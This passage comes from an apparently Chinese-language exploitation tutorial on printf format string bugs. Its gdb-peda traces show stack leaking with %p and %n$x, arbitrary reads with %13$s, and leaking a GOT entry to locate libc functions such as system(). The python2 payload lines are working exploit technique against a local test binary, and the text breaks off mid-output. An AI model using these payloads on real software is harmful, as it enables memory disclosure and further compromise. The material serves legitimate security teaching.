gdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd584 (\"%08x.%08x.%08x.%08x.%08x\")\nEBX: 0x56557000 --> 0x1efc\nECX: 0x1\nEDX: 0xf7f9883c --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd618 --> 0x0\nESP: 0xffffd550 --> 0xffffd584 (\"%08x.%08x.%08x.%08x.%08x\")\nEIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)\nEFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]\n 0x5655563b <main+126>: lea eax,[ebp-0x94]\n 0x56555641 <main+132>: push eax\n=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>\n 0x56555647 <main+138>: add esp,0x20\n 0x5655564a <main+141>: sub esp,0xc\n 0x5655564d <main+144>: push 0xa\n 0x5655564f <main+146>: call 0x56555450 <putchar@plt>\nGuessed arguments:\narg[0]: 0xffffd584 (\"%08x.%08x.%08x.%08x.%08x\")\narg[1]: 0x1\narg[2]: 0x88888888\narg[3]: 0xffffffff\narg[4]: 0xffffd57a (\"ABCD\")\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd550 --> 0xffffd584 (\"%08x.%08x.%08x.%08x.%08x\")\n0004| 0xffffd554 --> 0x1\n0008| 0xffffd558 --> 0x88888888\n0012| 0xffffd55c --> 0xffffffff\n0016| 0xffffd560 --> 0xffffd57a (\"ABCD\")\n0020| 0xffffd564 --> 0xffffd584 (\"%08x.%08x.%08x.%08x.%08x\")\n0024| 0xffffd568 (\" RUV\\327UUVT\\332\\377\\367\\001\")\n0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x56555642 in main ()\ngdb-peda$ x/10x $esp\n0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff\n0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7\n0xffffd570: 0xf7ffda54 0x00000001\ngdb-peda$ c\nContinuing.\n00000001.88888888.ffffffff.ffffd57a.ffffd584\n
\u683c\u5f0f\u5316\u5b57\u7b26\u4e32 0xffffd584
\u7684\u5730\u5740\u51fa\u73b0\u5728\u5185\u5b58\u4e2d\u7684\u4f4d\u7f6e\u6070\u597d\u4f4d\u4e8e\u53c2\u6570 arg1
\u3001arg2
\u3001arg3
\u3001arg4
\u4e4b\u524d\u3002\u683c\u5f0f\u5b57\u7b26\u4e32 %08x.%08x.%08x.%08x.%08x
\u8868\u793a\u51fd\u6570 printf()
\u4ece\u6808\u4e2d\u53d6\u51fa 5 \u4e2a\u53c2\u6570\u5e76\u5c06\u5b83\u4eec\u4ee5 8 \u4f4d\u5341\u516d\u8fdb\u5236\u6570\u7684\u5f62\u5f0f\u663e\u793a\u51fa\u6765\u3002\u683c\u5f0f\u5316\u8f93\u51fa\u51fd\u6570\u4f7f\u7528\u4e00\u4e2a\u5185\u90e8\u53d8\u91cf\u6765\u6807\u5fd7\u4e0b\u4e00\u4e2a\u53c2\u6570\u7684\u4f4d\u7f6e\u3002\u5f00\u59cb\u65f6\uff0c\u53c2\u6570\u6307\u9488\u6307\u5411\u7b2c\u4e00\u4e2a\u53c2\u6570\uff08arg1
\uff09\u3002\u968f\u7740\u6bcf\u4e00\u4e2a\u53c2\u6570\u88ab\u76f8\u5e94\u7684\u683c\u5f0f\u89c4\u8303\u6240\u8017\u7528\uff0c\u53c2\u6570\u6307\u9488\u7684\u503c\u4e5f\u6839\u636e\u53c2\u6570\u7684\u957f\u5ea6\u4e0d\u65ad\u9012\u589e\u3002\u5728\u663e\u793a\u5b8c\u5f53\u524d\u6267\u884c\u51fd\u6570\u7684\u5269\u4f59\u81ea\u52a8\u53d8\u91cf\u4e4b\u540e\uff0cprintf()
\u5c06\u663e\u793a\u5f53\u524d\u6267\u884c\u51fd\u6570\u7684\u6808\u5e27\uff08\u5305\u62ec\u8fd4\u56de\u5730\u5740\u548c\u53c2\u6570\u7b49\uff09\u3002
\u5f53\u7136\u4e5f\u53ef\u4ee5\u4f7f\u7528 %p.%p.%p.%p.%p
\u5f97\u5230\u76f8\u4f3c\u7684\u7ed3\u679c\u3002
gdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd584 (\"%p.%p.%p.%p.%p\")\nEBX: 0x56557000 --> 0x1efc\nECX: 0x1\nEDX: 0xf7f9883c --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd618 --> 0x0\nESP: 0xffffd550 --> 0xffffd584 (\"%p.%p.%p.%p.%p\")\nEIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)\nEFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]\n 0x5655563b <main+126>: lea eax,[ebp-0x94]\n 0x56555641 <main+132>: push eax\n=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>\n 0x56555647 <main+138>: add esp,0x20\n 0x5655564a <main+141>: sub esp,0xc\n 0x5655564d <main+144>: push 0xa\n 0x5655564f <main+146>: call 0x56555450 <putchar@plt>\nGuessed arguments:\narg[0]: 0xffffd584 (\"%p.%p.%p.%p.%p\")\narg[1]: 0x1\narg[2]: 0x88888888\narg[3]: 0xffffffff\narg[4]: 0xffffd57a (\"ABCD\")\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd550 --> 0xffffd584 (\"%p.%p.%p.%p.%p\")\n0004| 0xffffd554 --> 0x1\n0008| 0xffffd558 --> 0x88888888\n0012| 0xffffd55c --> 0xffffffff\n0016| 0xffffd560 --> 0xffffd57a (\"ABCD\")\n0020| 0xffffd564 --> 0xffffd584 (\"%p.%p.%p.%p.%p\")\n0024| 0xffffd568 (\" RUV\\327UUVT\\332\\377\\367\\001\")\n0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x56555642 in main ()\ngdb-peda$ c\nContinuing.\n0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584\n
\u4e0a\u9762\u7684\u65b9\u6cd5\u90fd\u662f\u4f9d\u6b21\u83b7\u5f97\u6808\u4e2d\u7684\u53c2\u6570\uff0c\u5982\u679c\u6211\u4eec\u60f3\u8981\u76f4\u63a5\u83b7\u5f97\u88ab\u6307\u5b9a\u7684\u67d0\u4e2a\u53c2\u6570\uff0c\u5219\u53ef\u4ee5\u4f7f\u7528\u7c7b\u4f3c\u4e0b\u9762\u7684\u683c\u5f0f\u5b57\u7b26\u4e32\uff1a
%<arg#>$<format>\n\n%n$x\n
\u8fd9\u91cc\u7684 n
\u8868\u793a\u6808\u4e2d\u683c\u5f0f\u5b57\u7b26\u4e32\u540e\u9762\u7684\u7b2c n
\u4e2a\u503c\u3002
gdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd584 (\"%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p\")\nEBX: 0x56557000 --> 0x1efc\nECX: 0x1\nEDX: 0xf7f9883c --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd618 --> 0x0\nESP: 0xffffd550 --> 0xffffd584 (\"%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p\")\nEIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)\nEFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]\n 0x5655563b <main+126>: lea eax,[ebp-0x94]\n 0x56555641 <main+132>: push eax\n=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>\n 0x56555647 <main+138>: add esp,0x20\n 0x5655564a <main+141>: sub esp,0xc\n 0x5655564d <main+144>: push 0xa\n 0x5655564f <main+146>: call 0x56555450 <putchar@plt>\nGuessed arguments:\narg[0]: 0xffffd584 (\"%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p\")\narg[1]: 0x1\narg[2]: 0x88888888\narg[3]: 0xffffffff\narg[4]: 0xffffd57a (\"ABCD\")\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd550 --> 0xffffd584 (\"%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p\")\n0004| 0xffffd554 --> 0x1\n0008| 0xffffd558 --> 0x88888888\n0012| 0xffffd55c --> 0xffffffff\n0016| 0xffffd560 --> 0xffffd57a (\"ABCD\")\n0020| 0xffffd564 --> 0xffffd584 (\"%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p\")\n0024| 0xffffd568 (\" RUV\\327UUVT\\332\\377\\367\\001\")\n0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x56555642 in main ()\ngdb-peda$ x/10w $esp\n0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff\n0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7\n0xffffd570: 0xf7ffda54 0x00000001\ngdb-peda$ c\nContinuing.\nffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220\n
\u8fd9\u91cc\uff0c\u683c\u5f0f\u5b57\u7b26\u4e32\u7684\u5730\u5740\u4e3a 0xffffd584
\u3002\u6211\u4eec\u901a\u8fc7\u683c\u5f0f\u5b57\u7b26\u4e32 %3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p
\u5206\u522b\u83b7\u53d6\u4e86 arg3
\u3001arg1
\u3001\u4e24\u4e2a arg2
\u3001arg4
\u548c\u6808\u4e0a\u7d27\u8ddf\u53c2\u6570\u7684\u4e24\u4e2a\u503c\u3002\u53ef\u4ee5\u770b\u5230\u8fd9\u79cd\u65b9\u6cd5\u975e\u5e38\u5f3a\u5927\uff0c\u53ef\u4ee5\u83b7\u5f97\u6808\u4e2d\u4efb\u610f\u7684\u503c\u3002
\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u4e00\u4e2a\u201c\u663e\u793a\u6307\u5b9a\u5730\u5740\u7684\u5185\u5b58\u201d\u7684\u683c\u5f0f\u89c4\u8303\u6765\u67e5\u770b\u4efb\u610f\u5730\u5740\u7684\u5185\u5b58\u3002\u4f8b\u5982\uff0c\u4f7f\u7528 %s
\u663e\u793a\u53c2\u6570\u3000\u6307\u9488\u6240\u6307\u5b9a\u7684\u5730\u5740\u7684\u5185\u5b58\uff0c\u5c06\u5b83\u4f5c\u4e3a\u4e00\u4e2a ASCII \u5b57\u7b26\u4e32\u5904\u7406\uff0c\u76f4\u5230\u9047\u5230\u4e00\u4e2a\u7a7a\u5b57\u7b26\u3002\u5982\u679c\u653b\u51fb\u8005\u80fd\u591f\u64cd\u7eb5\u8fd9\u4e2a\u53c2\u6570\u6307\u9488\u6307\u5411\u4e00\u4e2a\u7279\u5b9a\u7684\u5730\u5740\uff0c\u90a3\u4e48 %s
\u5c31\u4f1a\u8f93\u51fa\u8be5\u4f4d\u7f6e\u7684\u5185\u5b58\u5185\u5bb9\u3002
\u8fd8\u662f\u4e0a\u9762\u7684\u7a0b\u5e8f\uff0c\u6211\u4eec\u8f93\u5165 %4$s
\uff0c\u8f93\u51fa\u7684 arg4
\u5c31\u53d8\u6210\u4e86 ABCD
\u800c\u4e0d\u662f\u5730\u5740 0xffffd57a
\uff1a
gdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd584 (\"%4$s\")\nEBX: 0x56557000 --> 0x1efc\nECX: 0x1\nEDX: 0xf7f9883c --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd618 --> 0x0\nESP: 0xffffd550 --> 0xffffd584 (\"%4$s\")\nEIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)\nEFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]\n 0x5655563b <main+126>: lea eax,[ebp-0x94]\n 0x56555641 <main+132>: push eax\n=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>\n 0x56555647 <main+138>: add esp,0x20\n 0x5655564a <main+141>: sub esp,0xc\n 0x5655564d <main+144>: push 0xa\n 0x5655564f <main+146>: call 0x56555450 <putchar@plt>\nGuessed arguments:\narg[0]: 0xffffd584 (\"%4$s\")\narg[1]: 0x1\narg[2]: 0x88888888\narg[3]: 0xffffffff\narg[4]: 0xffffd57a (\"ABCD\")\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd550 --> 0xffffd584 (\"%4$s\")\n0004| 0xffffd554 --> 0x1\n0008| 0xffffd558 --> 0x88888888\n0012| 0xffffd55c --> 0xffffffff\n0016| 0xffffd560 --> 0xffffd57a (\"ABCD\")\n0020| 0xffffd564 --> 0xffffd584 (\"%4$s\")\n0024| 0xffffd568 (\" RUV\\327UUVT\\332\\377\\367\\001\")\n0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x56555642 in main ()\ngdb-peda$ c\nContinuing.\nABCD\n
\u4e0a\u9762\u7684\u4f8b\u5b50\u53ea\u80fd\u8bfb\u53d6\u6808\u4e2d\u5df2\u6709\u7684\u5185\u5bb9\uff0c\u5982\u679c\u6211\u4eec\u60f3\u83b7\u53d6\u7684\u662f\u4efb\u610f\u7684\u5730\u5740\u7684\u5185\u5bb9\uff0c\u5c31\u9700\u8981\u6211\u4eec\u81ea\u5df1\u5c06\u5730\u5740\u5199\u5165\u5230\u6808\u4e2d\u3002\u6211\u4eec\u8f93\u5165 AAAA.%p
\u8fd9\u6837\u7684\u683c\u5f0f\u7684\u5b57\u7b26\u4e32\uff0c\u89c2\u5bdf\u4e00\u4e0b\u6808\u6709\u4ec0\u4e48\u53d8\u5316\u3002
gdb-peda$ python print(\"AAAA\"+\".%p\"*20)\nAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n...\ngdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd584 (\"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\nEBX: 0x56557000 --> 0x1efc\nECX: 0x1\nEDX: 0xf7f9883c --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd618 --> 0x0\nESP: 0xffffd550 --> 0xffffd584 (\"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\nEIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)\nEFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]\n 0x5655563b <main+126>: lea eax,[ebp-0x94]\n 0x56555641 <main+132>: push eax\n=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>\n 0x56555647 <main+138>: add esp,0x20\n 0x5655564a <main+141>: sub esp,0xc\n 0x5655564d <main+144>: push 0xa\n 0x5655564f <main+146>: call 0x56555450 <putchar@plt>\nGuessed arguments:\narg[0]: 0xffffd584 (\"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\narg[1]: 0x1\narg[2]: 0x88888888\narg[3]: 0xffffffff\narg[4]: 0xffffd57a (\"ABCD\")\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd550 --> 0xffffd584 (\"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\n0004| 0xffffd554 --> 0x1\n0008| 0xffffd558 --> 0x88888888\n0012| 0xffffd55c --> 0xffffffff\n0016| 0xffffd560 --> 0xffffd57a (\"ABCD\")\n0020| 0xffffd564 --> 0xffffd584 (\"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\n0024| 0xffffd568 (\" RUV\\327UUVT\\332\\377\\367\\001\")\n0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x56555642 in main ()\n
\u683c\u5f0f\u5b57\u7b26\u4e32\u7684\u5730\u5740\u5728 0xffffd584
\uff0c\u4ece\u4e0b\u9762\u7684\u8f93\u51fa\u4e2d\u53ef\u4ee5\u770b\u5230\u5b83\u4eec\u5728\u6808\u4e2d\u662f\u600e\u6837\u6392\u5e03\u7684\uff1a
gdb-peda$ x/20w $esp\n0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff\n0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7\n0xffffd570: 0xf7ffda54 0x00000001 0x424135d0 0x00004443\n0xffffd580: 0x00000000 0x41414141 0x2e70252e 0x252e7025\n0xffffd590: 0x70252e70 0x2e70252e 0x252e7025 0x70252e70\ngdb-peda$ x/20wb 0xffffd584\n0xffffd584: 0x41 0x41 0x41 0x41 0x2e 0x25 0x70 0x2e\n0xffffd58c: 0x25 0x70 0x2e 0x25 0x70 0x2e 0x25 0x70\n0xffffd594: 0x2e 0x25 0x70 0x2e\ngdb-peda$ python print('\\x2e\\x25\\x70')\n.%p\n
\u4e0b\u9762\u662f\u7a0b\u5e8f\u8fd0\u884c\u7684\u7ed3\u679c\uff1a
gdb-peda$ c\nContinuing.\nAAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e\n
0x41414141
\u662f\u8f93\u51fa\u7684\u7b2c 13 \u4e2a\u5b57\u7b26\uff0c\u6240\u4ee5\u6211\u4eec\u4f7f\u7528 %13$s
\u5373\u53ef\u8bfb\u51fa 0x41414141
\u5904\u7684\u5185\u5bb9\uff0c\u5f53\u7136\uff0c\u8fd9\u91cc\u53ef\u80fd\u662f\u4e00\u4e2a\u4e0d\u5408\u6cd5\u7684\u5730\u5740\u3002\u4e0b\u9762\u6211\u4eec\u628a 0x41414141
\u6362\u6210\u6211\u4eec\u9700\u8981\u7684\u5408\u6cd5\u7684\u5730\u5740\uff0c\u6bd4\u5982\u5b57\u7b26\u4e32 ABCD
\u7684\u5730\u5740 0xffffd57a
\uff1a
$ python2 -c 'print(\"\\x7a\\xd5\\xff\\xff\"+\".%13$s\")' > text\n$ gdb -q a.out\nReading symbols from a.out...(no debugging symbols found)...done.\ngdb-peda$ b printf\nBreakpoint 1 at 0x8048350\ngdb-peda$ r < text\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd584 --> 0xffffd57a (\"ABCD\")\nEBX: 0x804a000 --> 0x8049f14 --> 0x1\nECX: 0x1\nEDX: 0xf7f9883c --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd618 --> 0x0\nESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)\nEIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)\nEFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0xf7e27c1b <fprintf+27>: ret\n 0xf7e27c1c: xchg ax,ax\n 0xf7e27c1e: xchg ax,ax\n=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>\n 0xf7e27c25 <printf+5>: add eax,0x16f243\n 0xf7e27c2a <printf+10>: sub esp,0xc\n 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]\n 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]\nNo argument\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)\n0004| 0xffffd550 --> 0xffffd584 --> 0xffffd57a (\"ABCD\")\n0008| 0xffffd554 --> 0x1\n0012| 0xffffd558 --> 0x88888888\n0016| 0xffffd55c --> 0xffffffff\n0020| 0xffffd560 --> 0xffffd57a (\"ABCD\")\n0024| 0xffffd564 --> 0xffffd584 --> 0xffffd57a (\"ABCD\")\n0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nBreakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6\ngdb-peda$ x/20w $esp\n0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888\n0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc\n0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0\n0xffffd57c: 0x00004443 0x00000000 0xffffd57a 0x3331252e\n0xffffd58c: 0x00007324 0xffffd5ca 0x00000001 0x000000c2\ngdb-peda$ x/s 0xffffd57a\n0xffffd57a: \"ABCD\"\ngdb-peda$ c\nContinuing.\nz\ufffd\ufffd\ufffd.ABCD\n
\u5f53\u7136\u8fd9\u4e5f\u6ca1\u6709\u4ec0\u4e48\u7528\uff0c\u6211\u4eec\u771f\u6b63\u7ecf\u5e38\u7528\u5230\u7684\u5730\u65b9\u662f\uff0c\u628a\u7a0b\u5e8f\u4e2d\u67d0\u51fd\u6570\u7684 GOT \u5730\u5740\u4f20\u8fdb\u53bb\uff0c\u7136\u540e\u83b7\u5f97\u8be5\u5730\u5740\u6240\u5bf9\u5e94\u7684\u51fd\u6570\u7684\u865a\u62df\u5730\u5740\u3002\u7136\u540e\u6839\u636e\u51fd\u6570\u5728 libc \u4e2d\u7684\u76f8\u5bf9\u4f4d\u7f6e\uff0c\u8ba1\u7b97\u51fa\u6211\u4eec\u9700\u8981\u7684\u51fd\u6570\u5730\u5740\uff08\u5982 system()
\uff09\u3002\u5982\u4e0b\u9762\u5c55\u793a\u7684\u8fd9\u6837\uff1a
\u5148\u770b\u4e00\u4e0b\u91cd\u5b9a\u5411\u8868\uff1a
$ readelf -r a.out\n\nRelocation section '.rel.dyn' at offset 0x2e8 contains 1 entries:\n Offset Info Type Sym.Value Sym. Name\n08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__\n\nRelocation section '.rel.plt' at offset 0x2f0 contains 4 entries:\n Offset Info Type Sym.Value Sym. Name\n0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0\n0804a010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0\n0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0\n0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7\n
.rel.plt
\u4e2d\u6709\u56db\u4e2a\u51fd\u6570\u53ef\u4f9b\u6211\u4eec\u9009\u62e9\uff0c\u6309\u7406\u8bf4\u9009\u62e9\u4efb\u610f\u4e00\u4e2a\u90fd\u6ca1\u6709\u95ee\u9898\uff0c\u4f46\u662f\u5728\u5b9e\u8df5\u4e2d\u6211\u4eec\u4f1a\u53d1\u73b0\u4e00\u4e9b\u95ee\u9898\u3002\u4e0b\u9762\u7684\u7ed3\u679c\u5206\u522b\u662f printf
\u3001__libc_start_main
\u3001putchar
\u548c __isoc99_scanf
\uff1a
$ python2 -c 'print(\"\\x0c\\xa0\\x04\\x08\"+\".%p\"*20)' | ./a.out\n.0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025\n$ python2 -c 'print(\"\\x10\\xa0\\x04\\x08\"+\".%p\"*20)' | ./a.out\n.0x1.0x88888888.0xffffffff.0xffd439ba.0xffd439c4.0x80481fc.0x80484b0.0xf77b6a54.0x1.0x4241c5d0.0x4443.(nil).0x804a010.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e\n$ python2 -c 'print(\"\\x14\\xa0\\x04\\x08\"+\".%p\"*20)' | ./a.out\n.0x1.0x88888888.0xffffffff.0xffcc17aa.0xffcc17b4.0x80481fc.0x80484b0.0xf7746a54.0x1.0x4241c5d0.0x4443.(nil).0x804a014.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e\n$ python2 -c 'print(\"\\x18\\xa0\\x04\\x08\"+\".%p\"*20)' | ./a.out\n\u2592.0x1.0x88888888.0xffffffff.0xffcb99aa.0xffcb99b4.0x80481fc.0x80484b0.0xf775ca54.0x1.0x424125d0.0x4443.(nil).0x804a018.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e\n
\u7ec6\u5fc3\u4e00\u70b9\u4f60\u5c31\u4f1a\u53d1\u73b0\u7b2c\u4e00\u4e2a\uff08printf
\uff09\u7684\u7ed3\u679c\u6709\u95ee\u9898\u3002\u6211\u4eec\u8f93\u5165\u4e86 \\x0c\\xa0\\x04\\x08
\uff080x0804a00c
\uff09\uff0c\u53ef\u662f 13 \u53f7\u4f4d\u7f6e\u8f93\u51fa\u7684\u7ed3\u679c\u5374\u662f 0x2e0804a0
\uff0c\u90a3\u4e48\uff0c\\x0c
\u54ea\u53bb\u4e86\uff0c\u67e5\u4e86\u4e00\u4e0b ASCII \u8868\uff1a
Oct Dec Hex Char\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n014 12 0C FF '\\f' (form feed)\n
\u4e8e\u662f\u5c31\u88ab\u7701\u7565\u4e86\uff0c\u540c\u6837\u4f1a\u88ab\u7701\u7565\u7684\u8fd8\u6709\u5f88\u591a\uff0c\u5982 \\x07
\uff08'\\a'\uff09\u3001\\x08
\uff08'\\b'\uff09\u3001\\x20
\uff08SPACE\uff09\u7b49\u7684\u4e0d\u53ef\u89c1\u5b57\u7b26\u90fd\u4f1a\u88ab\u7701\u7565\u3002\u8fd9\u5c31\u4f1a\u8ba9\u6211\u4eec\u540e\u7eed\u7684\u64cd\u4f5c\u51fa\u73b0\u95ee\u9898\u3002\u6240\u4ee5\u8fd9\u91cc\u6211\u4eec\u9009\u7528\u6700\u540e\u4e00\u4e2a\uff08__isoc99_scanf
\uff09\u3002
$ python2 -c 'print(\"\\x18\\xa0\\x04\\x08\"+\"%13$s\")' > text\n$ gdb -q a.out\nReading symbols from a.out...(no debugging symbols found)...done.\ngdb-peda$ b printf\nBreakpoint 1 at 0x8048350\ngdb-peda$ r < text\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)\nEBX: 0x804a000 --> 0x8049f14 --> 0x1\nECX: 0x1\nEDX: 0xf7f9883c --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd618 --> 0x0\nESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)\nEIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)\nEFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0xf7e27c1b <fprintf+27>: ret\n 0xf7e27c1c: xchg ax,ax\n 0xf7e27c1e: xchg ax,ax\n=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>\n 0xf7e27c25 <printf+5>: add eax,0x16f243\n 0xf7e27c2a <printf+10>: sub esp,0xc\n 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]\n 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]\nNo argument\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)\n0004| 0xffffd550 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)\n0008| 0xffffd554 --> 0x1\n0012| 0xffffd558 --> 0x88888888\n0016| 0xffffd55c --> 0xffffffff\n0020| 0xffffd560 --> 0xffffd57a (\"ABCD\")\n0024| 0xffffd564 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)\n0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nBreakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6\ngdb-peda$ x/20w $esp\n0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888\n0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc\n0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0\n0xffffd57c: 0x00004443 0x00000000 0x0804a018 0x24333125\n0xffffd58c: 0x00f00073 0xffffd5ca 0x00000001 